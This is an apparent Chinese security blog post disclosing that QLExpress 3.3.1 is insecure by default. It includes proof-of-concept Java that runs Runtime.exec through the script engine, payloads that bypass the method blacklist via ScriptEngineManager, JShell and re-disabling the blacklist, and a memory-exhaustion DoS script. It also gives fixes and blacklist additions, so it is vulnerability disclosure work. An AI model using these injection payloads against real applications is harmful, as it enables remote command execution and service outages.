QLExpress是什么#
由阿里的电商业务规则、表达式(布尔组合)、特殊数学公式计算(高精度)、语法分析、脚本二次定制等强需求而设计的一门动态脚本引擎解析工具。 在阿里集团有很强的影响力,同时为了自身不断优化、发扬开源贡献精神,于2012年开源。
——https://github.com/alibaba/QLExpress
命令注入#
由于 com.ql.util.express.config.QLExpressRunStrategy#forbidInvokeSecurityRiskMethods
默认为 false
,导致默认不安全,建议默认值改为 true
。
按照 https://github.com/alibaba/QLExpress#1-黑名单控制 说明:
但实际上并不是默认安全的,微调官方demo成为漏洞demo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| package pers.neo.el;
import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
public class qlexpress {
public static void main(String[] args) throws Exception {
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
context.put("a", 1);
context.put("b", 2);
context.put("c", 3);
String express = "a + b * c";
express="java.lang.Runtime.getRuntime().exec([\"cmd\",\"/c\",\"calc\"])"; //添加这一行
Object r = runner.execute(express, context, null, true, false);
System.out.println(r);
}
}
|
添加maven依赖
1
2
3
4
5
| <dependency>
<groupId>com.alibaba</groupId>
<artifactId>QLExpress</artifactId>
<version>3.3.1</version>
</dependency>
|
在 com.ql.util.express.config.QLExpressRunStrategy#assertSecurityRiskMethod
下断点,发现 forbidInvokeSecurityRiskMethods
的值为false,没有进行安全检查。
forbidInvokeSecurityRiskMethods
的值是在 com.ql.util.express.config
中定义的,默认为false
。这不符合应用默认安全的推荐实践。
修复方法一:禁止黑名单方法#
添加
1
| QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
|
修复方法二:使用沙箱模式#
沙箱模式会完全关闭和Java的交互:
some more pocs#
https://github.com/luelueking/QLExpress-3.3.0-vuln-poc/
RCE:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| package vuln;
import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
import com.ql.util.express.config.QLExpressRunStrategy;
/**
* 黑名单绕过
*/
public class Test1 {
public static void main(String[] args) throws Exception {
// 开启黑名单
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
// 使用ScriptEngineManager绕过黑名单
// String payload1_1 = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);\");";
// String payload1_2 = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);\")";
// Jdk>9时采用jShell绕过
// String payload2 = "jdk.jshell.JShell.create().eval('java.lang.Runtime.getRuntime().exec(\"open -a calculator.app\")')";
// 利用QLExpressRunStrategy关闭黑名单
String payload3 = "import com.ql.util.express.config.QLExpressRunStrategy;QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(false);Runtime.getRuntime().exec(\"open -a calculator.app\");";
runner.execute(payload3, new DefaultContext<>(), null, false, true);
}
}
|
DoS
1
2
3
4
5
6
7
8
9
10
11
| public class Test2 {
public static void main(String[] args) throws Exception {
// 开启白名单,并指定使用特定安全方法
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
QLExpressRunStrategy.addSecureMethod(RiskBean.class, "secureMethod");
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
String code = "byte[] bytes = new byte[2147483645];for (i=0;i<2147483645;i++) {new String(bytes);}";
runner.execute(code, new DefaultContext<>(), null, false, true);
}
}
|
加强黑名单列表
1
2
3
4
| SECURITY_RISK_METHOD_LIST.add(QLExpressRunStrategy.class.getName()+".setForbidInvokeSecurityRiskMethods");
SECURITY_RISK_METHOD_LIST.add("jdk.jshell.JShell.create");
SECURITY_RISK_METHOD_LIST.add("javax.script.ScriptEngineManager.getEngineByName");
SECURITY_RISK_METHOD_LIST.add("org.springframework.jndi.JndiLocatorDelegate.lookup");
|
QLExpress最新版本(3.3.1)默认不安全,存在命令注入
QLExpress-3.3.0-vuln-poc[BUG]